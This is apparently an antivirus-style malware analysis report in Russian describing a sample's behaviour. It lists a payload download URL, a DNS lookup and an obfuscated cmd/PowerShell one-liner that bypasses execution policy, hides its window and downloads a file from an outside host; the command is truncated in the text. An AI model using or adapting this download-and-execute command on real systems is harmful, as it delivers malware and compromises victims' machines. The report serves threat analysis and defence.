Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^We^rSh^E^LL.EXE -E^Xe^CUTION^p^O^LicY^ ^ByPaSs -^n^Op^RO^Fi^lE ^-^W^IN^dOwsTy^le^ HId^den (Ne^w-^O^bjeC^T ^sYs^t^Em.N^eT.wE^B^CL^IE^nT^).D^o^w^nLoA^Dfil^e^('http://www....
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^We^rSh^E^LL.EXE -E^Xe^CUTION^p^O^LicY^ ^ByPaSs -^n^Op^RO^Fi^lE ^-^W^IN^dOwsTy^le^ HId^den (Ne^w-^O^bjeC^T ^sYs^t^Em.N^eT.wE^B^CL^IE^nT^).D^o^w^nLoA^Dfil^e^('http://www....' (со скрытым окном)
